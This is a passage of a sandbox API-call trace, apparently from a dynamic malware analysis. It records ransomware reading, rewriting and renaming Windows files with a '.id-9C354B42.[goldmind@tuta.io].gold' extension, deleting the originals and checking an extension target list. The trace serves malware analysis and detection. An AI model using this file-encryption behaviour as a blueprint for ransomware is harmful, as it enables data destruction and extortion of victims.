[0045.998] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.998] lstrlenW (lpString=".jpg") returned 4 [0045.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.998] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0045.998] lstrlenW (lpString="VisiorWW.msi") returned 12 [0045.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.345] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=12060672) returned 1 [0046.345] CloseHandle (hObject=0x190) returned 1 [0046.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0046.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.345] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0046.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.345] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0046.345] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0046.345] ReadFile (in: hFile=0x190, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.388] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0046.388] ReadFile (in: hFile=0x190, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.397] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.397] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0046.397] ReadFile (in: hFile=0x190, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.413] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.413] WriteFile (in: hFile=0x190, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.590] SetEndOfFile (hFile=0x190) returned 1 [0046.590] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fa40b0 [0046.634] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0046.634] WriteFile (in: hFile=0x190, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.636] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0046.636] WriteFile (in: hFile=0x190, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.640] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0046.640] WriteFile (in: hFile=0x190, lpBuffer=0x3fa40b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa40b0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.642] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fa40b0 | out: hHeap=0x880000) returned 1 [0046.642] CloseHandle (hObject=0x190) returned 1 [0046.642] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".doc") returned 4 [0046.643] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString=".docx") returned 5 [0046.643] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.643] lstrlenW (lpString=".pdf") returned 4 [0046.643] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".xls") returned 4 [0046.643] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".xlsx") returned 5 [0046.643] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.643] lstrlenW (lpString=".ppt") returned 4 [0046.643] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".zip") returned 4 [0046.643] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".rar") returned 4 [0046.643] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".bz2") returned 4 [0046.643] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString=".7z") returned 3 [0046.643] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".dbf") returned 4 [0046.643] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".1cd") returned 4 [0046.643] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".jpg") returned 4 [0046.643] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.643] lstrlenW (lpString=".doc") returned 4 [0046.643] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.643] lstrlenW (lpString=".docx") returned 5 [0046.643] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.643] lstrlenW (lpString=".pdf") returned 4 [0046.643] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".xls") returned 4 [0046.643] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.643] lstrlenW (lpString=".xlsx") returned 5 [0046.643] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.644] lstrlenW (lpString=".ppt") returned 4 [0046.644] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.644] lstrlenW (lpString=".zip") returned 4 [0046.644] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.644] lstrlenW (lpString=".rar") returned 4 [0046.644] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.644] lstrlenW (lpString=".bz2") returned 4 [0046.644] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.644] lstrlenW (lpString=".7z") returned 3 [0046.644] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.644] lstrlenW (lpString=".dbf") returned 4 [0046.644] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.644] lstrlenW (lpString=".1cd") returned 4 [0046.644] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0046.644] lstrlenW (lpString=".jpg") returned 4 [0046.644] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.644] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0046.644] lstrlenW (lpString="EEINTL.DLL") returned 10 [0046.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.645] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=64096) returned 1 [0046.645] CloseHandle (hObject=0x190) returned 1 [0046.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0046.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.645] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.645] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.646] GetLastError () returned 0x0 [0046.646] ReadFile (in: hFile=0x190, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xfa60, lpOverlapped=0x0) returned 1 [0046.654] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0046.655] ReadFile (in: hFile=0x190, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0046.655] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.655] SetEndOfFile (hFile=0x178) returned 1 [0046.655] CloseHandle (hObject=0x178) returned 1 [0046.656] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.656] SetEndOfFile (hFile=0x190) returned 1 [0046.656] CloseHandle (hObject=0x190) returned 1 [0046.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.657] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString=".doc") returned 4 [0046.657] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString=".docx") returned 5 [0046.657] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0046.657] lstrlenW (lpString=".pdf") returned 4 [0046.657] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString=".xls") returned 4 [0046.657] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString=".xlsx") returned 5 [0046.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0046.657] lstrlenW (lpString=".ppt") returned 4 [0046.657] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString=".zip") returned 4 [0046.657] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString=".rar") returned 4 [0046.657] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString=".bz2") returned 4 [0046.657] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.657] lstrlenW (lpString=".7z") returned 3 [0046.657] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString=".dbf") returned 4 [0046.657] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString=".1cd") returned 4 [0046.657] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.657] lstrlenW (lpString=".jpg") returned 4 [0046.657] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString=".doc") returned 4 [0046.658] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString=".docx") returned 5 [0046.658] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0046.658] lstrlenW (lpString=".pdf") returned 4 [0046.658] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString=".xls") returned 4 [0046.658] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString=".xlsx") returned 5 [0046.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0046.658] lstrlenW (lpString=".ppt") returned 4 [0046.658] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString=".zip") returned 4 [0046.658] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString=".rar") returned 4 [0046.658] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.658] lstrlenW (lpString=".bz2") returned 4 [0046.658] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.658] lstrlenW (lpString=".7z") returned 3 [0046.658] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString=".dbf") returned 4 [0046.658] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString=".1cd") returned 4 [0046.658] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0046.658] lstrlenW (lpString=".jpg") returned 4 [0046.658] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.658] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0046.658] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0046.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.664] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=543304) returned 1 [0046.664] CloseHandle (hObject=0x178) returned 1 [0046.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0046.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.664] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.664] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.693] GetLastError () returned 0x0 [0046.693] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x84a48, lpOverlapped=0x0) returned 1 [0046.704] WriteFile (in: hFile=0x188, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0046.712] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0046.712] WriteFile (in: hFile=0x188, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.712] SetEndOfFile (hFile=0x188) returned 1 [0046.712] CloseHandle (hObject=0x188) returned 1 [0046.712] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.712] SetEndOfFile (hFile=0x178) returned 1 [0046.952] CloseHandle (hObject=0x178) returned 1 [0046.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.952] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".doc") returned 4 [0046.953] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.953] lstrlenW (lpString=".docx") returned 5 [0046.953] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0046.953] lstrlenW (lpString=".pdf") returned 4 [0046.953] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString=".xls") returned 4 [0046.953] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString=".xlsx") returned 5 [0046.953] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0046.953] lstrlenW (lpString=".ppt") returned 4 [0046.953] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".zip") returned 4 [0046.953] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString=".rar") returned 4 [0046.953] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString=".bz2") returned 4 [0046.953] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.953] lstrlenW (lpString=".7z") returned 3 [0046.953] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".dbf") returned 4 [0046.953] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".1cd") returned 4 [0046.953] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".jpg") returned 4 [0046.953] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.953] lstrlenW (lpString=".doc") returned 4 [0046.953] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.953] lstrlenW (lpString=".docx") returned 5 [0046.953] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0046.953] lstrlenW (lpString=".pdf") returned 4 [0046.954] 